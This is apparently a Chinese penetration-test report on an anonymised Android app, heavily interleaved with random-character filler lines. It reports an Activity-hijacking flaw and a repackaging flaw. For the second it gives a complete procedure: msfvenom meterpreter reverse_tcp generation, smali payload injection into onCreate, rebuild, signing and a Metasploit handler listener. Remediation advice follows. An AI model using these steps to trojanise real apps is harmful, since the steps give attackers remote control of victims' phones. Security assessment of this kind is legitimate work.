, {( ?% @8 F5 s2 ^/ }# b* P' q j9 {5 e- l/ B! H/ s
$ b, W4 a& @0 n5 }' C
: q" y$ ~8 t% j" G. [
表1-2 测试结果
* P% t+ o7 X7 W/ B4 `% w& W# [
8 R3 G/ X" T3 A" t- F% V, m
$ n2 Q1 f8 f( A
: l% V4 Y0 @( O& l \ P 9 }0 O: e& f7 a4 t8 d
, h. V7 \8 A0 g$ W- y/ @ 4 n- @ H1 o& m( p- Q0 e
) A5 J" Y5 {+ t) c- R& E. \8 D
; `7 w/ d2 y4 D2 B5 d- R m$ P) R: b9 J
& K2 k3 D# O% U3 d5 D v9 n* E8 Y( H( v8 ~6 e/ g+ e
; Q- [7 l4 l% Y7 B* p. l$ P
2 检测结果
) o; W% U# {0 n8 F( }( V, W* B4 }0 w: Q) ~8 a
5 f6 n- n0 u9 [1 X1 {7 [
* l/ t7 h( n9 _/ I+ D) A3 D5 v/ |
! I/ a' i o% d5 ^; |! `( q
! }5 N' a, \1 ~6 j& Y! ~ b: X
2.1 某某某 # e6 R3 J+ J5 J3 c) }
0 V* q! } k% o( j. j) C7 ?- \; W
* O2 |1 [ J: G" m: @0 u% ~( H! H& ]3 Q- ?. F. i4 V4 D
0 @9 `0 u) \3 y0 v% B/ W3 r+ f7 O
9 l7 r6 _; F1 g4 X* @
2.1.1检测目标
4 p0 _) I a2 e8 ?9 h
) l7 E- i ^8 s' Y! c+ h
7 A0 B% F" o8 m5 h) k- x" R) \4 O
# \# n* ~( E0 C$ j- ^ 0 j3 _4 e9 ~9 d( ^1 c) e5 {2 v$ V( V
5 \, Y! y. b2 P% Z% D: Q0 J8 a 目标地址: 某某某某某某APP
+ n; t& j+ i3 k, Y. n- _/ L2 q' _' r( m+ P3 \
* r4 T- ~6 ^0 U @
( T/ w# ^% \2 L/ B; I+ {* ?5 M
' C. y, R- z& T8 L6 _$ C- m B5 Z* H t0 v6 D9 t' \
2.1.2检测结果 8 D. B0 ^' O5 M. S
* H7 o: h2 D b5 [$ Z8 X* l) }4 J
( p8 v% b- S; O+ c( K
, o# t* m% U# Y7 R8 y* ]6 L: u
0 w9 i8 x6 a7 I
" N, @8 p0 i5 U/ ]- E: P B& ^ 2.1.2.1
* I+ i1 L% ]( v3 A4 C) \' p' R& Y3 A6 C( _6 v! n" r5 v% E; I* I
, t' c% d1 q6 v6 @ s0 |
9 d& p# C$ e$ C N/ { , d& z8 @& [) w* C4 Z f
2 e, F4 s1 }1 Q& I7 |: I# |) e: z 漏洞链接地址:某某某某某某APP
4 n. N4 Y$ O$ x+ y) y A- q- a+ u; b. H
' c3 Q0 X) y, Q7 y8 q' O/ c9 q$ r- t
. [. d" a( r3 c
* W) y* `3 i: T: D 6 A- |6 c% i' x A# r
: ^" O. [0 v% ?# c$ S
$ y4 I; w; g8 R; i1 t" |+ e) M+ [3 A: W" J
5 _' N5 i) w+ U$ v; d2 p0 U1 T
k7 h. U# Q& G( D4 }* `4 y
漏洞分析及取证:
. L8 @1 C6 f0 m$ M* k! [& ?
. j* f, K: D4 c) ^
* s8 J# d4 x4 r8 X& a2 D- D' |( V- t7 ^
/ ~& ]( [2 u3 u% P
+ P- G, @: j% T9 @ v 通过androidkiiler反编译,发现app未进行安全加固, Activity 为com.minivision.cmcc.activity.SubActivity可被劫持,复现漏洞如图: 5 [, }; h& V$ y6 [. M" j
# X. D6 U+ L$ \+ `1 Z0 [/ r
" I' P' K: \! I
" f$ G+ r' m3 M1 B2 z% {0 u% Y
8 n2 ? c- |$ F S& K# ?
6 n7 ?) Y+ w, b% T; x0 H
. c: ], Z y1 p. ?5 i
( h* F G9 h: w% u6 x
$ n2 O" y4 J, \# u( M- t( U A: \$ W* n
+ b$ }) E. A: C" A. L+ x. b
% M; }7 C' y" {$ t4 C; d5 L
% }) N' ]2 q+ i6 H9 h5 P
* J" z7 q) P! }& `$ Z$ X" h6 ^5 @8 |
* P0 n4 Q* Y9 ~1 N2 b
: m2 M( C: L8 Z$ n. A
" A, K3 {3 T0 a& ?3 ]6 N
% v1 @8 C4 `" g
4 I0 g. n8 H# T: H4 t3 l
$ Y- y- P8 V% B; y# F
/ r3 _# U5 ~# `) V( I2 f
; y; E# E7 a! b . Z; J) E& w8 f( ~% ?1 B9 v0 p
$ x X5 B4 Z' d% |
+ y3 a, ?7 p+ S1 V ^8 l! Q i6 m- H/ w0 L8 Y1 t, q
1 L$ x2 t7 E- I2 n( W
7 g. Y. H! z. X
, U0 l, K- {7 E# Q) Q; q m5 _+ w& X9 C: D* I9 h& H& o3 a {
+ G5 W! j* g7 S8 h4 `6 s; M3 Y" E- U. ^
$ M' T' z8 e c( k3 p
. J$ d$ y# {/ \. A& n# D" P& @
; S" ]& ~0 G+ ^4 {: @& b: E: ~" b; m) j( ?, Q4 w' [5 a/ l8 B" T
漏洞危害:高
& D- G: q1 {6 E1 x* J; ~5 \* W7 F% ?) G/ s k" P. t" |1 }
* ]& i" d% u- S) w: e9 e+ t# {4 U' S$ o( z4 Y4 U
3 c0 k; ?% _3 h' }/ e0 x9 z, b3 O
* x& m( w+ _) ?6 t7 c6 I) ^ ( A/ H5 z8 p1 V+ F& I
8 L9 [) W& c9 W1 o
+ X$ T6 \& ~, J9 U' A
I* W' K# b; I- Y+ ?$ G8 m' L
/ H4 a- H: b: a% N# L3 F7 V8 A N
# I; m9 v ~3 N, M7 b3 P$ K8 j7 {" I$ k
7 [& i6 y* h0 ^" [1 S- V! l8 l7 Z
2 A z, X' [. m5 M# j 严重程度
+ h7 N) _0 O. h9 z# E" \; a" x- y! e0 k
" ^9 V5 ^( {3 s& Z1 V* ]
( t5 K6 `3 [1 X4 i3 J |
9 d% x, z2 [4 a+ c
1 ^2 \/ n' U! d7 w
; x& D" J, Z: s( A4 p) C+ i b1 X2 z
: |0 h9 K0 W8 N: V8 C" s# |& K; Z4 H0 }
高
. t# v9 ` A; h! s T
/ n* F+ p/ B0 q& x . @1 z/ Q6 r, I( ]) d0 ?
' D+ u b' o z* V$ \
| 8 M) c. \/ F! A K
) M2 g/ s7 J8 s- M, \
& j" O+ n E/ p% S0 C7 K
# g- b# U, x1 E( B2 k- [( Z$ Z ; @! [4 B! F- m3 D, v
3 }5 }" E7 } y+ h n
■
; H& w) F5 i0 ]( Z6 v( K
0 Z+ s5 ~' s& s8 R $ e9 f9 w5 G) P4 r/ U% H. C
" S& {) ]8 Y' ^- y* g$ v* ~& Y2 t
| ( ~2 c0 \1 ]! ?
2 U: V1 ^8 w, k& c
2 S! K. T4 Y* i% v' B
$ z$ ?3 e# C: o8 w. D 8 E- Q: Z+ r- H4 L* g. O; E
# c, l2 X+ X( _# \& ?8 E
中
( e; f$ J# g, ?* h8 k6 u i( }# Q" S# W' [ z. {! k z
+ v8 f+ U; D6 M, Q# u
" O2 n+ V; R- z$ {: X: t- B, H1 C |
1 s. U# j( l# K+ r( e5 {# I/ n, \0 Q( q# N; J6 o ], x9 U) U
, }5 w* x# ^( b) t7 O
- X8 K5 K0 L; N6 h5 z: m! \
, y2 I, B: P8 p' y% S. U
- o6 D1 x* S0 t5 {* ` 9 T. C0 b8 N; |8 g z" v& M
. d! ?4 Z p* S" q' D
1 V; f4 n" o$ V& M: n
8 |& E3 S& \7 l; G |
+ K# ^3 e8 q; j( m6 T( z' ]1 v: [5 K# q8 f& W5 Q
8 n7 p( Q4 b# `
X* H* |2 L4 n" ^
! W) S: {( i- Z' B1 [% C u" ^$ B( A9 w7 H! i& S b+ W
低 0 q% I( R6 A' l5 B! H3 W. d
, j0 d7 L; E# K: d+ Q7 B1 P
0 b" X+ v" g! i% y+ k. t
6 h% L6 r/ B `- K, P9 Z0 E
| 4 e" @# `4 e0 R4 n
% |9 L0 n! v7 e' C8 ?6 y0 B+ B
" z$ Q ~! P3 Y, a1 r8 d6 j
^$ k. r3 ~9 ~4 H) D3 P& F + f3 u+ `6 `( T: V
3 \' v/ O4 i1 _- i" B. u
9 a v; ?6 F4 }1 s
" ~3 j. ?9 o2 d4 R1 u/ e# S ! [ `" |& ]/ N3 K( W1 u# ?
1 X" M- d7 o5 U3 q$ u2 J3 Y1 F | 8 k3 k/ J8 c l+ A2 b7 U
) ]' I, z* t1 ~! |/ n5 L0 i
& p5 E! @! g4 Q3 w" f7 t
/ o+ e6 o i+ P- A4 N$ i2 b
/ O6 q4 j0 d# ]7 `/ [: D1 b2 O
! O4 M. D$ w; ^* z( B) A1 g, L
' n9 I0 ^4 ^1 N; F3 p
1 ?4 o" b1 P% K' s: ] H: o b
. X* x7 E0 R2 l7 Z- f- w$ J# ]8 ^/ p" L9 o X# {6 }- ~4 N- [ h6 R
! L) X) S" b( P2 z5 u" w2 g' F
/ |; x4 |8 Q" V- O
6 }* _; {- o& G9 b5 x F( u
% r8 b* E6 E. y
7 ]1 U5 d2 Y p1 O
6 _4 k; l, m+ l4 ^
. n2 [; s* \# ]* | ~5 e/ X* X0 F5 r* M1 a. \
修复方法:在 APP 的 Activity 界面(也就是 MainActivity)中重写 onKeyDown 方法和 onPause 方法,当其被覆盖时,就能够弹出警示信息。判断程序进入后台是不是由用户自己触发的(触摸返回键或 HOME 键),如果是用户自己触发的则无需弹出警示,否则弹出警示信息。
! r5 _! R: r6 `! C: I- K; X; }: `2 z* t j, O2 J5 {
9 f: N& |3 |! Z3 U8 X: l" U7 ^
6 N+ R( o! O4 N * S9 ]: l0 d5 e Z. g- r
1 p3 x9 ]5 R4 X' v& Y8 z
1 T+ m+ ?1 a) M$ u9 y( B; C& O# L8 ]7 y% I8 J
) L/ j9 x% ]' K1 C* r- R' B; i
5 y$ g1 k6 ]" m( R+ C
7 ]/ d5 j! e: B7 W
/ P/ B u' M) f- K* v1 u' C
8 k6 T* r3 P4 g1 `* Q: @2 J
+ _" L+ K$ L3 W: r, ?; h* c
% W u7 N* V# I
3 z3 s. T$ g i0 y& F9 k# F3 Q8 b( O5 K# @2 e3 \9 a
2.1.2.2
* q3 }! m6 K8 R
5 U/ R, V3 {. K* }# g p
* D9 m) T% l7 K4 v7 @
1 S2 C" y. s9 T
q9 l- T, e- @$ v U2 j: F4 |4 X' `8 i6 A) g
漏洞链接地址:某某某某某某APP 3 K( i+ E2 \1 \7 O. f* ]( S- t: T
% y" G, _% N6 M# z
1 u/ J6 X- G( B! S- w4 s
* h1 ?( `& |7 ]! D( H6 _
# N4 P( r& L( H6 j
8 f1 _3 `7 p; m, C4 R4 ~1 L 漏洞分析及取证:
, W$ j) l, ^2 [! ^: w( b3 [4 Y& Q/ Z1 K3 R( a: W: B& W
$ c) x! D( R9 W% \: _
6 d! u' s$ J2 e/ w1 }: y/ \
# T# M0 \$ f; x' d$ j! u7 v3 L |! s
通过反编译,发现程序未加壳加密,可直接反编译获取源码,经过测试可修改app代码捆绑木马或者植入广告等操作,复现详细方法如下: 2 Q1 d& z/ Y- D m) o a' I
7 Y' x7 t; B! }' ]% W: l
& m% ^/ Y' U4 f4 J& A( P
( H$ s( ^2 q+ t5 k: `( Y" x & ^6 K7 T9 W. Q _- n
# \) i/ k6 G- Y% i0 w
用Metasploit 生成木马 apk
8 Q! W/ `0 z* `% S H* F, T6 d
# w, R: R' Y3 B" d/ w7 z, B
, P/ {9 Q( C; U; ?( O, p% O3 Q3 a0 U
; v1 R1 Q# U$ @& j; G
7 b5 [. I7 j" m+ i1 ?9 e" K9 S msfvenom -p android/meterpreter/reverse_tcp LHOST=192.xxx.x.x LPORT=4444 R > cockhorse.apk + y0 E1 Y4 Q; w5 D
; ?; A2 j6 c. H0 R" d
) z) X6 Z# N4 a! V2 o
9 u/ G; H& O- Q' Y3 Q: w# [5 n
6 u% T3 v9 W6 @ R- a j& U& x7 q# E( r6 ^8 m9 G: x' [
反编译目标apk和木马apk
' f$ V% r5 r$ f) z3 j
8 ~3 y- R/ u! C" @$ L6 I
; J: N( s1 |) [! i, }& V
3 Z- X! r" c5 H( A9 [ " Z8 S* v/ N# i! }0 T$ f% v
" j7 w, y& C0 ^- P T/ h/ G apktool d target.apk
3 ~6 K6 F. q3 n8 D$ e* X& p0 g
/ I% i/ e) s) D4 o5 N
apktool d cockhorse.apk
. s: t0 H( |) B" n& Y( h0 \
2 a |+ I; d( M1 e% M. F+ O3 k* u
4 |. b8 o7 f1 l/ V$ A) Z1 r8 D$ g# Z% G: O% I
$ w+ L% L" L0 G' \! `
4 o- d$ T, M2 F; O3 @ 木马 apk 注入目标 apk 2 _% t4 d# S# g1 b" n" G
2 _* q0 Q3 b: [- s) G: l" S2 R
k8 W5 R8 H) [- W4 w* V4 C% a. Z
2 \% h& Y, w6 R- D m6 F
/ t; w, S" d* h; i3 f
0 g+ C0 z0 t2 W3 T 在目标 apk 反编译生成的文件中找到启动 Activity 的 smali 文件,并在 onCreate()方法中添加如下代码:
* `3 o! Z& o% B) b/ ^
2 }+ J/ e. O8 y" m. D+ \2 [
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V 5 \ N: q7 M* ?/ a+ P
/ y% ]5 |2 i2 t( ?' K/ E' O
* ]: ^' z, T; r' c8 f
( H- H, O5 X, p1 D) ?
( X) d4 f7 ?% b
5 e% k+ O/ \9 B, \4 e2 x1 | 将木马文件 AndroidManifest.xml 中的权限放到目标文件 AndroidManifest.xml 中,去除重复
4 j. C* J& |. j2 J7 A$ n8 g1 h
& {$ ]1 r' _- u6 n
# t- M" W+ S0 n( O
$ o; ^6 z# H+ N5 W* W4 O* w/ f ; @7 D/ h5 p* o6 g" ^
0 d/ t+ U5 c! I K) z/ Z6 z
将木马文件的 smali 文件放到目标文件下,例如 com/metasploit 文件复制到目标文件 com/ 下 * w; s4 g8 K' W/ S
( P2 f; U2 H5 c2 j; e, E( g
( \/ j) O/ P# ?& @" T( D8 I; u+ \* Q+ k& H
2 Y8 S: O# I; l/ r- @9 W
9 d! @5 K; j2 t( j8 j$ N
回编译生成最终 apk
9 Z( x) z+ J( W, ?) P* Z! r2 V
6 S4 {- m8 |# N# ?8 x& i
0 G1 u" h0 P: K+ ~3 V% n6 c) O
/ s" N9 g0 M l7 V+ _
1 K5 a' P' B7 o* P3 ?: ^% P4 }4 F8 |; ?
重新打包 $ C3 `5 D% o& o9 _9 Z1 a
3 u3 Q4 d. N4 U
# b, x6 ~8 p; k/ J# j; e4 i" Y5 W
' V# O. ~4 h- _. u' ` ; K! O! ^3 K$ H$ k
' M s' j( [6 [
apktool b -o repackage.apk target_app_floder
/ j2 P3 Y/ i) q$ [7 {/ o- L
5 r3 T7 r# {# M( m) ]
0 ~4 k8 y6 l: R% f' F5 }, K0 |: _5 v( v9 C+ _
, H2 B& }" V1 `* C8 b3 a! ^$ A' a. z5 A4 M' _* e9 M% y
创建签名文件,有的话可忽略此步骤
) h) e8 W( l) u# p9 ^4 n& W9 w+ h1 N- O% L) ]
7 T( u& U* W [9 {( y, d' D
2 r2 o5 ]4 n8 b2 V6 f. e4 l8 H 1 X' d; v$ q0 {
) v! U% F- W' X$ ~4 {1 b6 e keytool -genkey -v -keystore mykey.keystore -alias mykeyaliasname -keyalg RSA -keysize 2048 -validity 10000
6 W; |: G5 N) h, _8 ]$ W7 ^2 }
& w8 p4 Z1 }5 M6 c1 ]
/ ?: J S$ P3 r
$ R, C# m/ p$ Q
2 y& O. ]6 I. z4 w2 U3 l
$ w0 `% I/ ]* J" \: v% | 签名,以下任选其一 ! K/ }7 M% r# B
3 {8 I; w5 n4 u6 j4 j/ x6 P
8 l4 X; H3 e& @$ d: w3 K. K
& [+ W6 U6 D3 q& ]
" f( G9 C1 ]+ e% r; R9 R, C
7 x2 ~$ R5 p/ J7 E) z5 U h jarsigner 方式
) l" R7 B9 o+ E1 G
' W! N# V& ^& r {' q5 t! r
8 O3 l k1 Q& }: U" d
9 w/ y; \1 C3 b3 b v5 d8 A
1 u6 j" M3 }, m U2 Q9 _3 p3 R& {9 U) \8 g1 Q
jarsigner -sigalg SHA256withRSA -digestalg SHA1 -keystore mykey.keystore -storepass 你的密码 repackaged.apk mykeyaliasname $ H" P) U1 c+ U0 w* `' ?& V
! s6 I9 |- M! e7 c4 O3 T+ z
# M I+ C6 r$ P+ W, Y5 f
; d1 [ s. x$ b& J, S
# q4 w3 p$ R5 {) @8 V) I# R _
$ C( w7 p5 z. Y8 M4 I3 j/ ` apksigner 方式
" i X# X, Q. b) i& {1 @* Q7 \& G k {! O1 }
. Z4 ?, j9 V; r' z, q
' P; s' K9 x0 |8 c* c' i
0 |- K2 U P" P: e! `. t7 G, `* z
3 {* f" ^% q- f! [4 U4 I$ g
apksigner sign --ks mykey.keystore --ks-key-alias mykeyaliasname repackaged.apk ) A" N! @" L1 D; o! j6 H" G/ `: S5 @, Y
4 @# Y6 D1 C) c0 U: o
- G& }8 j" x4 U- J# H& R/ T/ n/ t+ p. i# b/ G9 F
8 s" l1 P7 ]' a6 F$ W7 w4 c. N
& o6 ^5 B. p2 H0 u# j' u' r+ S 如需要禁用 v2签名 添加选项--v2-signing-enabled false
, f: d6 ], l$ M% R2 P1 A) G, V" _' j7 W7 m, p. K! p
2 B4 b6 a L" j( g3 F
; B: R' |4 g7 s: P9 a' `" s, I8 E 2 z8 E% ~* K6 F! \6 T
8 \ Y S$ H: e( d0 O' ? 验证,以下任选其一
; S6 t7 q1 c9 t, ^% e* h$ L# M# S# ]- Z. a( r+ v3 y8 Q7 m% e
: {: L2 N3 _2 H1 r! [( M& Q6 h
. g2 v0 M# U- h: I5 b+ N y
: \2 R( z2 s$ H
# |9 d5 g6 E+ ?7 _( d9 J
jarsigner方式
, v- |7 z7 g+ O) h
1 s% c) R5 [ c/ z! y9 R
9 p( ?9 E; J; n
8 K' H* x) W" o6 ]( D. a ; ^! G8 o; H' G: V2 I
- W. p; Z! f9 }+ O jarsigner -verify repackaged.apk , K' r; m% | K+ L' o. d' A
n) I# ~/ i/ u1 z" d0 w% W
' r4 x1 ^9 S* I9 T; F2 G, _+ l @# \! `4 M4 s8 D' ?3 q6 z7 K
: p/ z8 L2 p( h( ~$ `0 n0 p9 |/ R) R* u
apksigner 方式
4 c; S8 w/ M1 k9 e4 g3 T, ~4 i7 n* q: P3 C/ ]
4 [9 ^5 ]: D0 Y* _
) s! x; ^+ h4 P0 p) ^' L1 G( d# W
- T$ e0 `6 i6 l& E- e* K4 Q
- ^. r. Z( L: F4 X6 W6 B apksigner verify -v --print-certs repackaged.apk - e. }* o& S) i8 v' P- X
! s2 W( `& x; Q, Z
7 Z _, `, v: u9 }: K2 i
( N' s2 {- R! X+ ~4 z# l/ r) i
6 S$ i1 t9 m8 c9 s( \6 u8 R$ H$ p) k2 D- v" B5 `+ [
keytool方式 7 \% R2 u: n' C! c
5 N- j1 M9 _- j- }- ]
/ ^7 M. S! D, [7 x
- Y% w' Z8 ?) Q9 _/ [ : C+ h, [8 _: q# `' W/ X8 x
$ R. v, e5 \4 H: ]0 n. Y. i) s2 ] keytool -printcert -jarfile repackaged.apk
% v; E( \* d0 T6 [" I( e: [/ n0 _
! Z, _- U8 I: S' X3 q. ~3 [$ i9 C
) P9 c; `- S! G( T& p7 ^0 \
3 w9 f$ v- Y% C- w0 @2 C * J6 y' W3 B% y& K9 \
4 ~* u4 x8 f' h2 }4 X. T1 Q: h 对齐
! U# o6 ~3 B# y1 _$ w7 G
" v$ x# D8 u/ | M
' Z, V# s( Y# ^9 R5 b- ~9 |
+ y6 U9 l/ l* c3 n
2 _5 n% [) i. v3 }% s7 k8 p) |) E9 a& }5 V, a3 d5 D
字节对齐优化
% j5 V# b* _' ~+ l" k! i3 ]9 U5 c+ V. ] E( L# p6 X' e
4 o$ B5 \0 U' q( w. x6 ^" p- R( Q4 c6 ^2 M5 J3 j
3 }$ v! H0 ?/ K( g v3 }
) \( z j9 R6 Y6 i' K6 ^' ^$ H zipalign -v 4 repackaged.apk final.apk
% a6 c! O8 |% T0 `) H( L1 x1 V: n% ^( O7 ?. ~2 O% y
3 B+ \' ^) Y& k7 K
% S" F5 z) J% Q2 d+ M# O
0 h- ]! B# C7 p/ l* k' W$ P, h# f" v* v7 ]# J0 @. a. r
检查是否对齐
8 a2 \8 h" k5 A& r% Q
) g u9 B" y6 }, e4 a/ S" m
. |, m6 \% f* g B3 l7 T1 y0 ^
) D+ m3 W; {1 P# W- S2 Y - |3 Z6 r4 [ L2 _; m6 j
" W+ F; N) M, E5 b
zipalign -c -v 4 final.apk `' |; Q& c! I0 C3 G B
7 D& N* ~9 e7 {& y1 o6 [/ n: |
( J' v8 v( C+ R+ d) p
# d7 i" f0 y2 x+ n
2 r5 I6 N! s e. B! Q. r$ ~
2 `5 X8 e! b& c1 x 注:zipalign可以在V1签名后执行,但zipalign不能在V2签名后执行,只能在V2签名之前执行
. g) [0 v. `$ v
& X- Z$ v1 \, r
* z! J2 z, x b: T n- ?; Y9 z
) p: Z k: _0 v9 f
0 U/ Y3 V$ k3 j7 k" p4 m, O6 H: W! A9 j9 z @
启动Metasploit控制台,配置参数等待上线 ) a. ?: z( a( P4 @
$ h0 G6 T p9 @% i) F4 f
( v- T" s' x1 t% m' F4 T5 [3 Q6 ^7 M) b" p/ a' O! y
( g0 K# s& `( X! ]7 b* U. n3 p& Y/ J }) C9 A, K, ~
在终端依次输入如下命令
6 T0 m& o1 r5 J7 g6 D- z- K( q* Q! E
8 z3 l/ k& }0 m9 X8 q1 F
2 K# s) R: w" O( x' i, G
8 f+ p/ }7 G" X% \8 c( e+ `. A
msfconsole 7 B1 [) o1 P' V0 }! b& v8 v2 V
6 }6 Q! W/ |5 L, D
! ^( t( K: x9 {: F, c
; ?/ t& _6 M+ e 1 k: G, w j& x( k# H5 J* W- H, \
# z) l8 t3 x) d use exploit/multi/handler
- c) e1 F% Y1 q. y* ^' `! \* O
\; V! `' b$ H" ^: A
* x8 S- U0 g3 Q* r! h
8 U& S7 c. o/ P7 a) ^1 [8 S
! b. t+ z5 B: }6 d b2 j8 |0 a7 ^; M- e9 S [$ A# \0 y
set PAYLOAD android/meterpreter/reverse_tcp
4 R9 z( I9 S/ B/ ^7 P2 P) _% q2 G% |: J0 Z6 S3 n
& s) y0 G& }3 y* I& y
% A- z! C' g. U& I# x 5 R8 N" @3 M! ?' v" I) f& ?. z7 e
8 L/ P, x6 Q* m! n
set LHOST 192.xxx.xx.xx . X. y/ W3 v% z5 e! v4 V
4 y0 K) w9 r O0 _
' N l1 H; ~' k" w5 \
% c2 s# L) V7 N2 s( p9 p2 f
$ T/ Z* J% W8 g. ~% h' ]5 m8 N0 V7 T B3 S/ Y$ O
set LPORT 4444 ) V8 ` Z, ^* ^0 [3 ] b
5 x4 ` v6 H, C
- g! ~/ e; y! w3 G* ~+ a" u! X$ \& Y# d
# d& ~; n3 H3 i! Y3 E9 s6 L
\( O' P. p- { ~3 w. {: O! A+ {7 a, J+ O
exploit ) j! ~( J# W0 [+ y8 _6 {
7 M; G' D6 C* w
5 ?/ B4 m" L6 a8 Q$ [6 O
7 _5 @2 x' F4 u+ ~ ) Z! G' d; Q1 ^; x' u6 Z& ^% @
- A3 K. ~, t1 V; t3 A4 ^/ D4 q 之前我们把入口放在 MainActivity 的 onCreate 方法中,当启动目标应用进入该界面,就会连接成功,如下图:
, y% H& `8 X1 q' `
5 |% s( U7 b) N$ L( G/ \
, C- Z& n8 B- v+ H4 T3 U1 c3 ?4 n7 p$ V. K* z
% o; m) J1 K5 ~, b! k
6 I, ~7 D: l0 M, D
漏洞危害:中 7 j4 m: R' e6 N& N
* a% N2 G6 l* |" |2 L
# \7 S, p5 V$ e; y6 |: e
L' e( }* h V1 }9 K( D( L
5 n- p& j. Y* N4 e6 W/ B0 x- y! A$ c q+ P/ b( ^8 p% x
+ w" r; g( l- K' [$ @* _% R. ?
p$ k/ q0 J" {; I$ G8 X, g % a0 W8 Y# e( j |
, d( x8 q" F+ d
6 ~$ D0 y. i7 }1 H( q2 C
9 m/ J) u8 B2 |
: @) @+ ?& S5 ~6 c9 R/ H5 Z" R6 ]" b0 T* u6 \6 s9 K, y
# k6 p% A/ l$ d' c8 D' W! W& b+ Q- I8 e
& k: ~/ n/ p% m) `6 v
8 G8 b2 _4 _2 I. C- d! r
严重程度 ' G; ?0 f, d: |" f- `3 M
9 p; s! O! q4 P9 y! ? ; u; Z" ?" K: k( Q% @
/ P# F8 x" d' A+ E9 Y4 U
|
* O( G+ U7 q! ?8 [2 y6 }+ F( ]2 J
- `6 A. a7 s# d: x+ u' v) m! e% x. V 9 h" e' U- m0 I$ A, l: f+ e
& E+ Y: p: q7 G
u$ \+ F8 y+ L- @7 y. ^" k& ^0 L2 f5 e% }
高
; I0 `0 y5 S7 P b8 q) c# v+ \, G! S" B4 W( T
& U. g q$ E+ l( Q5 e% N3 y8 @- E0 I. B4 r# ~( X
|
2 @. J2 N' S I4 m+ H, ?: U$ q
5 u+ z) {' O& ~7 }8 I
) ?) k1 A9 R, i- T8 F
z# _" K; F3 s( U' o+ U( C
6 X% a1 b2 l! Z( B9 a& C7 k! J4 D8 X! V$ P: j" L' o* f
■ / @" c; J: V1 z4 m$ \; F
& B- s; h+ a ?+ m
; h+ E6 j+ _% p3 ]! V, S+ h
[$ o1 ]3 }, q2 ~2 O |
4 Y3 l9 @- a3 c( V# z2 @0 j3 _1 G0 d# l& b" m
z, w: X7 |6 O8 h
% L2 F! r1 Z; t2 _, o' j5 \8 H
: I2 o% e4 D4 _. \5 E
8 b( P4 @/ ]0 i. r( X* ]7 A2 U! ~. h 中 ! `2 [1 ?# R1 `! S$ t8 I
$ b8 a, e- p. v1 u% q/ o& S
; m. b: N) Q% N9 D0 _5 M0 ]) s1 \
5 R5 S2 k( D4 P j9 i4 f; _
| - }; q1 T) j% p# q
l$ a+ U' V; F 1 H7 O/ c4 f. O& I1 F$ z z. o
1 f; x( U- N2 u7 O2 K: t- J& F- b& d
# I8 n, l/ O' E. o
9 i: F4 E% Y3 p0 z
2 X6 _* X9 D% S3 F' s3 _+ T
5 K9 B3 Z/ T( ~/ `1 b ~( h
' s, F4 M+ D. n$ V
^/ ?# A9 F% `! k
1 C( ~3 W2 }0 y0 s$ Q
) o9 r H2 {+ K0 m4 d | 8 l9 Z& A$ M5 B4 D+ G- s) Y$ B7 M
: j( j3 S0 O1 `3 l& Z ( T x& m D( M- Q, Z+ C0 a
7 z; ]- c4 a# l% ?1 ~! M3 B
" r/ ^, W! \5 S: Y9 Y5 G
& D3 L* [. v. C+ H3 Y- z 低
' i4 V r! q0 b" S
1 w, ^. B% U; q& K
3 P& x, y5 R$ [, p j& m
; H$ P" s- a* V1 C$ q, x | ) u. K3 `0 i( |; n# a
/ O; x5 ^2 H: F$ W% k
& w9 G& v) b+ A1 [! H) G- b1 \% `7 \! Y" j' y
9 p/ Z1 H6 K# R! t6 D3 _
! }" Q; W% X( }9 z" B7 `
; i0 i$ e' y" u1 \9 H$ B; l5 B; [& e4 @- \" a$ m- G) X5 r1 m
$ _0 I+ S! S; l3 @
" T8 i" i; {. y
0 b2 n& m% ^- G2 J9 X+ J
2 ]& Q, N( e* l |
( l( u9 k! Y2 g3 r$ A* N0 F! u* B% t6 Z* e! G
* C2 ]0 H2 P' C" X
+ m2 x) O3 @# d. j4 Z
; F" Y# h& v2 w" ?1 g; \( V3 ~5 Q& i: c$ ]2 `& ~. a0 S
( e- _! a1 F9 a" T$ j' w
( G2 \# U+ G) Q4 }0 V7 x3 F$ m
9 M+ Z# N; @1 ] Z
' r" N8 J- x4 Y
2 v+ P* w" @3 M: |$ E/ c h& g* ]$ f- q
8 u& p0 }/ N P- r
1 G4 z/ I3 {; A4 q& i
7 d& L: r7 I; v8 u2 T* N C6 e# U" r9 I' h: @; q$ ^
7 s; B) o8 j9 E# d$ L! K
4 [; d& V8 b) g9 c. D 修复方法:
# v; m( q/ f4 p2 v! N$ g- G9 I, T6 \5 ?4 l5 h: I
8 o; j1 V! ^5 {( \9 P/ r4 c
$ {8 [" M; H; C6 h/ d; P& L
9 M9 `3 C) [2 c x# w8 ]' X" w. r* k5 a# J
1.在 APP 启动时应做签名校验防止二次打包。
( J& o ^% a% R* x6 u. `
! C2 `% h# T& y- Q 2.建议采用客户端、通信和服务器端联动防御方案进行安全防御。
% `8 \$ R* l1 C" d, Y0 a8 U; Z$ I- ^ _/ @8 O1 |; W
9 P" M1 X! O5 ]3 X$ {
4 X) q- a; D- x+ Q& O" _ " j& |+ j) X8 n2 t' y
) g0 \+ O( X. Q# |- w$ L. E
4 c) k" m8 p6 H! K6 F+ R
$ G" K4 N/ ?) X% ~, e2 \ 9 G/ B/ p7 ~9 m2 A( B- D; H
$ b' l) c' P7 m, Q
7 v7 s9 Y2 _, D/ P; t+ G: w
# x# a3 A t4 x
1 h$ l3 H# j6 G T9 B7 ~+ U S7 A. B
" ]4 o6 }4 j$ l! `) P& J3 H9 \0 y
2 \6 H) [/ y9 i0 }( G; |( N) r" d. E4 g# K, _1 n
3 Q7 O- W c0 \/ g
' D( c3 @) { {8 W/ ~: ^
; ?7 U/ G# Y( N( @! u* s- \! K* J9 {
; \/ ^! i8 G* v0 l+ v; ^